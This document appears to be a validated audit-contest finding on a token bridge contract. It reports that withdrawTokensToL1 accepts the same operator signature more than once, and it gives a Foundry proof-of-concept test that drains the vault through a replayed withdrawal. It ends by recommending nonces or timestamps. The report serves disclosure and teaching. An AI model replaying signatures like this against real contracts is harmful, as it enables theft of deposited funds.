Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

replay attack on withdrawTokensToL1 - steal funds

Summary

No check is made on the signature sent to make a withdrawal to verify whether it has already been used or not.
By calling L1BossBridge::withdrawTokensToL1 several times you can withdraw the funds several times.

Vulnerability Details

The function L1BossBridge::withdrawTokensToL1 does not verify the signature of the transaction, so an attacker can withdraw funds multiple times after first making a deposit and making a first withdrawal.

I created a test to verify the vulnerability.
First I updated the file L1TokenBridge.t.sol adding some variables.

address deployer = makeAddr("deployer");
address user = makeAddr("user");
+ address user2 = makeAddr("user2");
address userInL2 = makeAddr("userInL2");
+ address user2InL2 = makeAddr("user2InL2");
Account operator = makeAccount("operator");
token = new L1Token();
token.transfer(address(user), 1000e18);
+ token.transfer(address(user2), 1000e18);

After that I created this test in the same file:

Code
function testUserCanWithdrawTokensTwiceWithOperatorSignature() public {
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
uint256 user2InitialBalance = token.balanceOf(address(user2));
// User deposit 10e18 tokens
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
// User2 deposit 10e18 tokens
vm.startPrank(user2);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user2, user2InL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount * 2);
assertEq(
token.balanceOf(address(user)),
userInitialBalance - depositAmount
);
assertEq(
token.balanceOf(address(user2)),
user2InitialBalance - depositAmount
);
// Create a signature
(uint8 v, bytes32 r, bytes32 s) = _signMessage(
_getTokenWithdrawalMessage(user, depositAmount),
operator.key
);
// Withdraw 10e18 tokens first time with the signature
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
assertEq(token.balanceOf(address(user)), userInitialBalance);
assertEq(token.balanceOf(address(vault)), depositAmount);
// Withdraw 10e18 tokens second time with the same signature
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
assertEq(
token.balanceOf(address(user)),
userInitialBalance + depositAmount
);
assertEq(token.balanceOf(address(vault)), 0);
}

Impact

Funds can be stolen.

Tools Used

Manual check + Foundry Test.

Recommendations

Add a nonce inside the signature and use it to verify if the signature is used or not or enter a timestamp and discard transactions that are too old.

Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.